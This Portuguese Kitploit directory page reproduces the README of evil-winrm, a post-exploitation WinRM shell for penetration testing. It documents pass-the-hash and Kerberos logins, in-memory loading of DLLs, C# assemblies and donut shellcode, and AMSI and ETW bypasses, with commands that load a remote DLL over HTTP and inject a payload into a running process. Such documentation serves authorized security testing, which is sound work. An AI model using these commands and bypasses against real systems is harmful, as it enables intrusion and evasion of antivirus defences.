Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
evil-winrm — O shell WinRM definitivo para hacking/pentesting | Kitploit
Ferramentas/GitHubGitHub/hackplayers/evil-winrm
Geração de PayloadsExploraçãoPós-ExploraçãoTestes de PenetraçãoAutenticaçãoFerramenta de Acesso Remoto
GitHubhackplayers/evil-winrm

evil-winrm

O shell WinRM definitivo para hacking/pentesting

Ver Repositório
5.4k680há 8 mesesRevisado pelo Kitploit

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

Evil-WinRM ![Version-shield] ![Ruby2.3-shield] ![Gem-Version] ![License-shield] ![Docker-shield]

O shell WinRM definitivo para hacking/pentesting

Banner

Descrição e Propósito

Este shell é o shell WinRM definitivo para hacking/pentesting.

WinRM (Windows Remote Management) é a implementação da Microsoft do protocolo WS-Management. Um protocolo baseado em SOAP padrão que permite que hardwares e sistemas operacionais de diferentes fabricantes interoperem. A Microsoft o incluiu em seus Sistemas Operacionais para facilitar a vida dos administradores de sistema.

Este programa pode ser usado em qualquer servidor Microsoft Windows com esse recurso ativado (geralmente na porta 5985), claro, apenas se você tiver credenciais e permissões para usá-lo. Então podemos dizer que pode ser usado em uma fase de pós-exploração de hacking/pentesting. O objetivo deste programa é fornecer recursos agradáveis e fáceis de usar para hacking. Pode ser usado com propósitos legítimos por administradores de sistema também, mas a maioria de suas funcionalidades é focada em coisas de hacking/pentesting.

É baseado principalmente na biblioteca Ruby WinRM que mudou sua forma de funcionar desde sua versão 2.0. Agora, em vez de usar o protocolo WinRM, ele está usando PSRP (Powershell Remoting Protocol) para inicializar pools de runspace, bem como criar e processar pipelines.

Funcionalidades

  • Compatível com sistemas clientes Linux e Windows
  • Carregar scripts Powershell na memória
  • Carregar arquivos dll na memória contornando alguns AVs
  • Carregar assemblies C# (C Sharp) na memória contornando alguns AVs
  • Carregar payloads x64 gerados com a incrível técnica [donut]
  • Bypass dinâmico de AMSI para evitar assinaturas de AV
  • Suporte a Pass-the-hash
  • Suporte a autenticação Kerberos incluindo também arquivos ccache e kirbi
  • Suporte a SSL e certificados
  • Upload e download de arquivos mostrando barra de progresso
  • Listar serviços da máquina remota sem privilégios
  • Histórico de Comandos
  • Completar comandos WinRM
  • Completar arquivos/diretórios locais
  • Completar caminho remoto (arquivos/diretórios) (pode ser desativado opcionalmente)
  • Colorização no prompt e mensagens de saída (pode ser desativado opcionalmente)
  • Funcionalidade opcional de registro (logging)
  • Suporte a Docker (imagens pré-construídas disponíveis no [Dockerhub])
  • Captura de trap para evitar saída acidental do shell com Ctrl+C
  • User-agent personalizável usando o padrão legítimo do Windows
  • Bypass de ETW (Event Tracing for Windows)

Ajuda```

Usage: evil-winrm -i IP -u USER [-s SCRIPTS_PATH] [-e EXES_PATH] [-P PORT] [-a USERAGENT] [-p PASS] [-H HASH] [-U URL] [-S] [-c PUBLIC_KEY_PATH ] [-k PRIVATE_KEY_PATH ] [-r REALM] [-K TICKET_FILE] [--spn SPN_PREFIX] [-l] -S, --ssl Enable ssl -c, --pub-key PUBLIC_KEY_PATH Local path to public key certificate -k, --priv-key PRIVATE_KEY_PATH Local path to private key certificate -r, --realm DOMAIN Kerberos auth, it has to be set also in /etc/krb5.conf file using this format -> CONTOSO.COM = { kdc = fooserver.contoso.com } -K, --ccache TICKET_FILE Path to Kerberos ticket file (ccache or kirbi format, auto-detected) -s, --scripts PS_SCRIPTS_PATH Powershell scripts local path --spn SPN_PREFIX SPN prefix for Kerberos auth (default HTTP) -e, --executables EXES_PATH C# executables local path -i, --ip IP Remote host IP or hostname. FQDN for Kerberos auth (required) -U, --url URL Remote url endpoint (default /wsman) -u, --user USER Username (required if not using kerberos) -p, --password PASS Password -H, --hash HASH NTHash -P, --port PORT Remote host port (default 5985) -a, --user-agent Specify connection user-agent (default Microsoft WinRM Client) -V, --version Show version -n, --no-colors Disable colors -N, --no-rpath-completion Disable remote path completion -l, --log Log the WinRM session -h, --help Display this help message

root@kitploit:~
## Requisitos
Ruby 2.3 ou superior é necessário. Algumas gems do ruby também são necessárias: `winrm >=2.3.7`, `winrm-fs >=1.3.2`, `stringio >=0.0.2`, `logger >= 1.4.3`, `fileutils >= 0.7.2`.
Dependendo do seu método de instalação (4 disponíveis), a instalação delas pode precisar ser feita manualmente.

Outro requisito importante usado apenas para autenticação Kerberos é instalar o pacote Kerberos usado para autenticação de rede.
Para alguns Linux baseados em Debian (Kali, Parrot, etc.) ele é chamado `krb5-user`. Para BlackArch é chamado `krb5` e provavelmente pode ser chamado de forma diferente em outras distribuições Linux.

O recurso de conclusão de caminho remoto funcionará apenas se o seu ruby foi compilado habilitando a flag `--with-readline-dir`. Isso está habilitado por padrão no ruby incluído em algumas distribuições Linux, mas não em todas. Consulte [a seção abaixo](#Remote-path-completion) para mais informações.

## Instalação e Início Rápido (4 métodos)

### Método 1. Instalação diretamente como gem ruby (as dependências serão instaladas automaticamente no seu sistema)
 - Passo 1. Instale (instalará automaticamente as dependências): ```gem install evil-winrm```
 - Passo 2. Pronto. Basta executá-lo!```
evil-winrm  -i 192.168.1.100 -u Administrator -p 'MySuperSecr3tPass123!' -s '/home/foo/ps1_scripts/' -e '/home/foo/exe_files/'

Método 2. Git clone e instalar dependências no seu sistema manualmente

  • Passo 1. Instalar dependências manualmente: sudo gem install winrm winrm-fs stringio logger fileutils
  • Passo 2. Clonar o repositório: git clone https://github.com/Hackplayers/evil-winrm.git
  • Passo 3. Pronto. Basta executá-lo!``` cd evil-winrm && ruby evil-winrm.rb -i 192.168.1.100 -u Administrator -p 'MySuperSecr3tPass123!' -s '/home/foo/ps1_scripts/' -e '/home/foo/exe_files/'
root@kitploit:~
### Método 3. Usando bundler (as dependências não serão instaladas no seu sistema, apenas para usar evil-winrm)
 - Passo 1. Instalar o bundler: `gem install bundler`
 - Passo 2. Clonar o repositório: `git clone https://github.com/Hackplayers/evil-winrm.git`
 - Passo 3. Instalar as dependências com bundler: `cd evil-winrm && bundle install --path vendor/bundle`
 - Passo 4. Iniciar com bundler:```
bundle exec evil-winrm.rb -i 192.168.1.100 -u Administrator -p 'MySuperSecr3tPass123!' -s '/home/foo/ps1_scripts/' -e '/home/foo/exe_files/'

Método 4. Usando Docker

  • Passo 1. Inicie o container docker baseado na imagem já construída:``` docker run --rm -ti --name evil-winrm -v /home/foo/ps1_scripts:/ps1_scripts -v /home/foo/exe_files:/exe_files -v /home/foo/data:/data oscarakaelvis/evil-winrm -i 192.168.1.100 -u Administrator -p 'MySuperSecr3tPass123!' -s '/ps1_scripts/' -e '/exe_files/'
root@kitploit:~
## Documentação

### Senha em texto claro
Se você não quiser colocar a senha em texto claro, pode evitar definir o argumento `-p` e a senha será solicitada, impedindo que seja exibida.

### Ipv6
Para usar IPv6, o endereço deve ser adicionado ao /etc/hosts. Basta colocar o nome já definido do host após o argumento `-i` em vez de um endereço IP.

### Comandos básicos
 - **upload**: arquivos locais podem ser auto-completados usando a tecla Tab.
   - uso: `upload local_filename` ou `upload local_filename destination_filename`
 - **download**:
   - uso: `download remote_filename` ou `download remote_filename destination_filename`

 __Notas sobre caminhos (upload/download)__:
   Caminhos relativos não são permitidos no download/upload. Use nomes de arquivo no diretório atual ou caminho absoluto.
   Se você estiver usando Evil-WinRM em um ambiente docker, lembre-se de que todos os caminhos locais devem estar em `/data` e certifique-se de que o mapeou como um volume para poder acessar os arquivos baixados ou fazer upload de arquivos do sistema operacional do seu host local.

 - **services**: lista todos os serviços mostrando se sua conta tem permissões sobre cada um. Não são necessárias permissões de administrador para usar este recurso.
 - **menu**: carrega as funções `Invoke-Binary`, `Dll-Loader` e `Donut-Loader` que explicaremos abaixo. Quando um ps1 é carregado, todas as suas funções serão exibidas.
 - **clear** ou **cls**: limpa a tela do terminal. Você também pode usar o atalho de teclado `Ctrl+L` para limpar a tela.```
*Evil-WinRM* PS C:\> menu

   ,.   (   .      )               "            ,.   (   .      )       .
  ("  (  )  )'     ,'             (     '    ("     )  )'     ,'   .  ,)
.; )  ' (( (" )    ;(,      .     ;)  "  )"  .; )  ' (( (" )   );(,   )((
_".,_,.__).,) (.._( ._),     )  , (._..( '.._"._, . '._)_(..,_(_".) _( _')
\_   _____/__  _|__|  |    ((  (  /  \    /  \__| ____\______   \  /     \
 |    __)_\  \/ /  |  |    ;_)_') \   \/\/   /  |/    \|       _/ /  \ /  \
 |        \\   /|  |  |__ /_____/  \        /|  |   |  \    |   \/    Y    \
/_______  / \_/ |__|____/           \__/\  / |__|___|  /____|_  /\____|__  /
        \/                               \/          \/       \/         \/

          By: CyberVaca, OscarAkaElvis, Jarilaos, Arale61 @Hackplayers

[+] Dll-Loader
[+] Donut-Loader
[+] Invoke-Binary
[+] Bypass-4MSI
[+] services
[+] upload
[+] download
[+] clear
[+] cls
[+] menu
[+] exit

Carregar scripts powershell

  • Para carregar um arquivo ps1, basta digitar o nome (preenchimento automático usando tab permitido). Os scripts devem estar no caminho definido no argumento -s. Digite menu novamente e veja as funções carregadas. Arquivos muito grandes podem demorar para serem carregados.``` Evil-WinRM PS C:> PowerView.ps1 Evil-WinRM PS C:> menu

    ,. ( . ) " ,. ( . ) . (" ( ) )' ,' ( ' (" ) )' ,' . ,) .; ) ' (( (" ) ;(, . ;) " )" .; ) ' (( (" ) );(, )(( ".,,.).,) (..( .), ) , (...( '.."., . '.)(..,(".) ( ') _ / _|| | (( ( / \ / _| _ \ /
    | __)
    \ / / | | ;
    )') \ // / |/ | / / \ /
    | \ /| | |
    /
    / \ /| | | \ | / Y
    /
    _____ / _/ |__|
    / _/\ / ||| /__| /__| / / / / / /

    root@kitploit:~
       By: CyberVaca, OscarAkaElvis, Jarilaos, Arale61 @Hackplayers
    

[+] Add-DomainAltSecurityIdentity [+] Add-DomainGroupMember [+] Add-DomainObjectAcl [+] Add-RemoteConnection [+] Add-Win32Type [+] Convert-ADName [+] Convert-DNSRecord [+] ConvertFrom-LDAPLogonHours [+] ConvertFrom-SID [+] ConvertFrom-UACValue [+] Convert-LDAPProperty [+] Convert-LogonHours [+] ConvertTo-SID [+] Dll-Loader [+] Donut-Loader [+] Export-PowerViewCSV [+] field [+] Find-DomainLocalGroupMember

root@kitploit:~
### Comandos avançados
- Invoke-Binary: permite que assemblies .Net sejam executados em memória. O nome pode ser auto-completado usando a tecla Tab. Os argumentos para o arquivo exe podem ser passados separados por vírgula. Exemplo: `Invoke-Binary /opt/csharp/Binary.exe 'param1, param2, param3'`. Os executáveis devem estar no caminho definido no argumento `-e`.```
*Evil-WinRM* PS C:\> Invoke-Binary
.SYNOPSIS
    Execute binaries from memory.
    PowerShell Function: Invoke-Binary
    Author: Luis Vacas (CyberVaca)

    Required dependencies: None
    Optional dependencies: None
.DESCRIPTION

.EXAMPLE
    Invoke-Binary /opt/csharp/Watson.exe
    Invoke-Binary /opt/csharp/Binary.exe param1,param2,param3
    Invoke-Binary /opt/csharp/Binary.exe 'param1, param2, param3'
    Description
    -----------
    Function that execute binaries from memory.

*Evil-WinRM* PS C:\> Invoke-Binary /opt/csharp/Rubeus.exe

   ______        _
  (_____ \      | |
   _____) )_   _| |__  _____ _   _  ___
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v2.0.0


 Ticket requests and renewals:


  • Dll-Loader: permite carregar bibliotecas dll na memória, é equivalente a: [Reflection.Assembly]::Load([IO.File]::ReadAllBytes("pwn.dll"))

    O arquivo dll pode ser hospedado por smb, http ou localmente. Uma vez carregado, digite menu, então é possível autocompletar todas as funções.``` Evil-WinRM PS C:> Dll-Loader .SYNOPSIS dll loader. PowerShell Function: Dll-Loader Author: Hector de Armas (3v4Si0N)

    Required dependencies: None Optional dependencies: None .DESCRIPTION . .EXAMPLE Dll-Loader -smb -path \192.168.139.132\share\myDll.dll Dll-Loader -local -path C:\Users\Pepito\Desktop\myDll.dll Dll-Loader -http -path http://example.com/myDll.dll

    Description

    Function that loads an arbitrary dll

Evil-WinRM PS C:> Dll-Loader -http http://10.10.10.10/SharpSploit.dll [+] Reading dll by HTTP [+] Loading dll... Evil-WinRM PS C:\Users\test\Documents> menu

[... Snip ...]

Evil-WinRM PS C:> [SharpSploit.Enumeration.Host]::GetProcessList()

Pid : 0 Ppid : 0 Name : Idle Path : SessionID : 0 Owner : Architecture : x64

root@kitploit:~
- Donut-Loader: permite injetar payloads x64 gerados com a incrível técnica [donut]. Não é necessário codificar o payload.bin, basta gerar e injetar!```
*Evil-WinRM* PS C:\> Donut-Loader
.SYNOPSIS
    Donut Loader.
    PowerShell Function: Donut-Loader
    Author: Luis Vacas (CyberVaca)
    Based code: TheWover

    Required dependencies: None
    Optional dependencies: None
.DESCRIPTION

.EXAMPLE
    Donut-Loader -process_id 2195 -donutfile /home/cybervaca/donut.bin
    Donut-Loader -process_id (get-process notepad).id -donutfile /home/cybervaca/donut.bin

    Description
    -----------
    Function that loads an arbitrary donut :D

Você pode usar este [donut-maker] para gerar o payload.bin se você não usa Windows. Este script usa um módulo Python escrito por Marcello Salvati ([byt3bl33d3r]). Ele pode ser instalado usando pip: `pip3 install donut-shellcode```` python3 donut-maker.py -i Covenant.exe


.'/,-Y" "-. l.Y ^. /\ __ Donuts! i /" "
| /" "\ o ! l ] o !
./ \ _ _ .
__./ "

X / \ _./ ( \ . ..--" ~-. Z,-- /
__. ( / ______) \ l /-----
" / Y \ / | "x
.^ |
j Y

[+] Donut generated successfully: payload.bin

root@kitploit:~
- Bypass-4MSI: corrige a proteção AMSI.```
*Evil-WinRM* PS C:\> #amsiscanbuffer
At line:1 char:1
+ #amsiscanbuffer
+ ~~~~~~~~~~~~~~~
This script contains malicious content and has been blocked by your antivirus software.
    + CategoryInfo          : ParserError: (:) [Invoke-Expression], ParseException
    + FullyQualifiedErrorId : ScriptContainedMaliciousContent,Microsoft.PowerShell.Commands.InvokeExpressionCommand
*Evil-WinRM* PS C:\>
*Evil-WinRM* PS C:\> Bypass-4MSI
[+] Success!

*Evil-WinRM* PS C:\> #amsiscanbuffer
*Evil-WinRM* PS C:\>

Kerberos

  • Primeiro, você deve sincronizar a data com o DC: rdate -n <dc_ip>

  • Para gerar o ticket, existem várias formas:

    • Usando [ticketer.py] do impacket
    • Usando [Rubeus] ou [Mimikatz] para obter tickets kirbi (conversão automática para ccache é suportada)
  • Adicione o arquivo de ticket. Existem 3 formas:

    export KRB5CCNAME=/foo/var/ticket.ccache

    cp ticket.ccache /tmp/krb5cc_0

    Use o parâmetro -K: evil-winrm -i hostname -r DOMAIN.COM -K /path/to/ticket.ccache ou evil-winrm -i hostname -r DOMAIN.COM -K /path/to/ticket.kirbi

    Ao usar -K, a ferramenta irá automaticamente:

    • Detectar o formato do ticket (ccache ou kirbi)
    • Converter tickets kirbi para o formato ccache se necessário (requer ticket_converter.py ou impacket-ticketConverter)
    • Validar se o arquivo existe e é legível
    • Definir a variável de ambiente KRB5CCNAME
    • Resolver endereços IP para FQDN para melhor compatibilidade com Kerberos
  • Adicione o realm ao /etc/krb5.conf (para linux). O uso deste formato é importante: ``` CONTOSO.COM = { kdc = fooserver.contoso.com }

Completação de caminho remoto

Este recurso pode não estar disponível dependendo da versão do ruby que você está usando. Ele deve ser compilado com suporte a readline. Caso contrário, este recurso não funcionará (um aviso será exibido).

Método 1 (compilar a extensão necessária)

Usando este método, você compilará o ruby com o recurso readline necessário, mas usará apenas a biblioteca sem alterar a versão padrão do ruby no seu sistema. Por isso, é o método mais recomendado.

Vamos supor que você tenha em seu sistema baseado em Debian o ruby 2.7.3:```

Install needed package

apt install libreadline-dev

Check your ruby version

ruby --version ruby 2.7.3p183 (2021-04-05 revision 6847ee089d) [x86_64-linux-gnu]

Download ruby source code (2.7.3 in this case):

wget https://ftp.ruby-lang.org/pub/ruby/2.7/ruby-2.7.3.tar.gz

Extract source code

tar -xf ruby-2.7.3.tar.gz

Compile the readline extension:

cd ruby-2.7.3/ext/readline ruby ./extconf.rb make

Patch current version of the ruby readline extension:

sudo cp /usr/lib/x86_64-linux-gnu/ruby/2.7.0/readline.so /usr/lib/x86_64-linux-gnu/ruby/2.7.0/readline.so.bk sudo cp -f readline.so /usr/lib/x86_64-linux-gnu/ruby/2.7.0/readline.so

root@kitploit:~
#### Método 2 (Instalar ruby para usá-lo apenas para evil-winrm usando rbenv)

Suponha que você queira ruby 2.7.1 em um Linux baseado em Debian e esteja usando zsh. Este script automatizará isso. Você precisará executá-lo a partir do mesmo diretório onde evil-winrm.rb e Gemfile estão localizados (o diretório criado pelo evil-winrm após um git clone, por exemplo):```
#!/usr/bin/env zsh

# Uninstall possible current installed versions
sudo gem uninstall evil-winrm -q
gem uninstall evil-winrm -q

# Install rbenv
sudo apt install rbenv

# Config rbenv on zshrc config file
echo 'export PATH="$HOME/.rbenv/bin:$PATH"' >> ~/.zshrc
echo 'eval "$(rbenv init -)"' >> ~/.zshrc
source ~/.zshrc

# Install ruby with readline support
export RUBY_CONFIGURE_OPTS=--with-readline-dir="/usr/include/readline"
rbenv install 2.7.1

# Create file '.ruby-version' to set right ruby version
rbenv local 2.7.1

# Install local gems
gem install bundler
bundle install

current_evwr="$(pwd)/evil-winrm.rb"

sudo bash -c "cat << 'EOF' > /usr/bin/evil-winrm
    #!/usr/bin/env sh
    "${current_evwr}" "\$@"
EOF"

sudo chmod +x /usr/bin/evil-winrm

Então pode lançar o evil-winrm em segurança utilizando o novo ruby instalado com o suporte readline necessário a partir de qualquer localização.

Método 3 (compilar todo o ruby)

Se quiser compilá-lo você mesmo, pode seguir estes passos. Vamos supor que deseja ruby 2.7.3:``` wget -O ruby-install-0.8.1.tar.gz https://github.com/postmodern/ruby-install/archive/v0.8.1.tar.gz tar -xzvf ruby-install-0.8.1.tar.gz cd ruby-install-0.8.1/ sudo make install ruby-install ruby 2.7.3 -- --with-readline-dir=/usr/include/readline

root@kitploit:~
Dependendo do seu sistema, ele será instalado em `/opt/rubies/ruby-2.7.3` ou talvez em `~/.rubies/ruby-2.7.3`.

Agora só precisa instalar as dependências do evil-winrm para essa nova versão do Ruby instalada. A maneira mais fácil é executar o comando `/opt/rubies/ruby-2.7.3/bin/gem install evil-winrm`. O comando gem usado deve pertencer à nova instalação do Ruby.

Depois disso, você pode iniciar com segurança seu novo Ruby instalado para usá-lo no evil-winrm: `/opt/rubies/ruby-2.7.3/bin/ruby ./evil-winrm.rb -h`

É recomendado usar este novo Ruby instalado apenas para iniciar o evil-winrm. Se você o definir como Ruby padrão do seu sistema, lembre-se de que ele não possui gems de dependência instaladas. Alguns softwares baseados em Ruby como Metasploit ou outros podem não iniciar corretamente devido a problemas de dependências.

### Logging

Este recurso criará arquivos no seu diretório $HOME salvando comandos e as saídas das sessões WinRM.

### Histórico de Comandos

Evil-WinRM mantém um histórico persistente de comandos para cada combinação de host e usuário. O histórico é armazenado no diretório `~/.evil-winrm/history/` com arquivos nomeados como `{host}_{user}.hist`.

Quando você se conecta a uma máquina que já acessou anteriormente, pode usar as teclas de seta (Cima/Baixo) para navegar pelos comandos anteriores. O histórico é salvo automaticamente após cada execução de comando e carregado quando você se reconecta ao mesmo host com o mesmo usuário.

### Problemas conhecidos. Erros OpenSSL

Às vezes, você pode enfrentar um erro como este:```
Error: An error of type OpenSSL::Digest::DigestError happened, message is Digest initialization failed: initialization error

O erro é causado porque a versão OpenSSL 3.0 retirou algumas funções legadas como MD4, que são necessárias para executar esta ferramenta. Existem diferentes soluções alternativas existentes para lidar com esta situação:

  • Atualize seu sistema para a versão mais recente. Provavelmente, este problema foi corrigido automaticamente nas versões mais recentes do Ruby que estão usando versões mais novas do OpenSSL.
  • Compile seu próprio Ruby usando o OpenSSL 1.x antigo em vez do OpenSSL 3.0 ou compile-o usando OpenSSL > 3.0 para evitar a versão problemática 3.0.
  • A mais fácil. Edite seu arquivo de configuração /etc/ssl/openssl.cnf e certifique-se de que a configuração esteja assim:``` openssl_conf = openssl_init

[openssl_init] providers = provider_sect

[provider_sect] default = default_sect legacy = legacy_sect

[default_sect] activate = 1

[legacy_sect] activate = 1

root@kitploit:~
- Como alternativa para a última solução alternativa, se o seu sistema estiver a usar LibreSSL em vez de OpenSSL ou talvez você apenas não queira modificar o ficheiro de configuração do sistema. Crie um ficheiro simples contendo o conteúdo acima. Pode ser utilizado qualquer nome, por exemplo `evil-tls.conf`. Depois disso, exporte uma variável de ambiente para forçar o sistema a usá-lo: `export OPENSSL_CONF="/caminho/para/evil-tls.conf"`. E então lance a ferramenta, o erro desaparecerá.

## Registo de Alterações:
O registo de alterações e as mudanças do projeto podem ser consultados aqui: [CHANGELOG.md](https://raw.githubusercontent.com/Hackplayers/evil-winrm/master/CHANGELOG.md)

## Créditos:
Equipa:

 - [Cybervaca], (fundador). Twitter (X): [@CyberVaca_]
 - [OscarAkaElvis], Twitter (X): [@OscarAkaElvis]
 - [Jarilaos], Twitter (X): [@_Laox]
 - [arale61], Twitter (X): [@arale61]

Menção especial para:

 - [Vis0r] pelo seu apoio pessoal.
 - [Alamot] pelo seu código original.
 - [3v4Si0N] pelo seu incrível carregador de DLL.
 - [WinRb] Todos os contribuidores da biblioteca Ruby.
 - [TheWover] pela sua incrível ferramenta donut.
 - [byt3bl33d3r] pela sua biblioteca Python para criar payloads donut.
 - [Sh11td0wn] pela inspiração para novas funcionalidades.
 - [Borch] pela sua ajuda na adição da funcionalidade de registo.
 - [Hackplayers] por dar abrigo no seu GitHub a este software.

## Isenção de Responsabilidade e Licença
Este script está licenciado sob LGPLv3+. Ligação direta para [Licença](https://raw.githubusercontent.com/Hackplayers/evil-winrm/master/LICENSE).

O Evil-WinRM deve ser usado apenas para testes de penetração autorizados e/ou fins educacionais sem fins lucrativos.
Qualquer uso indevido deste software não será da responsabilidade do autor ou de qualquer outro colaborador.
Use-o nos seus próprios servidores e/ou com a permissão do proprietário do servidor.

<!-- Github URLs -->
[Cybervaca]: https://github.com/cybervaca
[OscarAkaElvis]: https://github.com/OscarAkaElvis
[Jarilaos]: https://github.com/jarilaos
[arale61]: https://github.com/arale61
[Vis0r]: https://github.com/vmotos
[Alamot]: https://github.com/Alamot
[3v4Si0N]: https://github.com/3v4Si0N
[Borch]: https://github.com/Stoo0rmq
[donut]: https://github.com/TheWover/donut
[donut-maker]: https://raw.githubusercontent.com/Hackplayers/Salsa-tools/master/Donut-Maker/donut-maker.py
[byt3bl33d3r]: https://twitter.com/byt3bl33d3r
[WinRb]: https://github.com/WinRb/WinRM/graphs/contributors
[TheWover]: https://github.com/TheWover
[Sh11td0wn]: https://github.com/Sh11td0wn
[ticketer.py]: https://raw.githubusercontent.com/SecureAuthCorp/impacket/master/examples/ticketer.py
[ticket_converter.py]: https://github.com/Zer1t0/ticket_converter
[Rubeus]: https://github.com/GhostPack/Rubeus
[Mimikatz]: https://github.com/gentilkiwi/mimikatz
[cheatsheet]: https://gist.github.com/TarlogicSecurity/2f221924fef8c14a1d8e29f3cb5c5c4a
[Dockerhub]: https://hub.docker.com/r/oscarakaelvis/evil-winrm
[Hackplayers]: https://www.hackplayers.com/

<!-- Twitter URLs -->
[@CyberVaca_]: https://twitter.com/CyberVaca_
[@OscarAkaElvis]: https://twitter.com/OscarAkaElvis
[@_Laox]: https://twitter.com/_Laox
[@arale61]: https://twitter.com/arale61

<!-- Badges URLs -->
[Version-shield]: https://img.shields.io/badge/version-3.9-blue.svg?style=flat-square&colorA=273133&colorB=0093ee "Latest version"
[Ruby2.3-shield]: https://img.shields.io/badge/ruby-2.3+-blue.svg?style=flat-square&colorA=273133&colorB=ff0000 "Ruby 2.3 or later"
[License-shield]: https://img.shields.io/badge/license-LGPL%20v3+-blue.svg?style=flat-square&colorA=273133&colorB=bd0000 "LGPL v3+"
[Docker-shield]: https://img.shields.io/docker/automated/oscarakaelvis/evil-winrm.svg?style=flat-square&colorA=273133&colorB=a9a9a9 "Docker rules!"
[Gem-Version]: https://img.shields.io/gem/v/evil-winrm?style=flat-square&colorA=273133&colorB=46c249 "Ruby gem"
Baixar ferramenta
root@kitploit:~
  • Verifique tickets Kerberos com klist

  • Para remover um ticket, use: kdestroy

  • Para mais informações sobre Kerberos, consulte este [cheatsheet]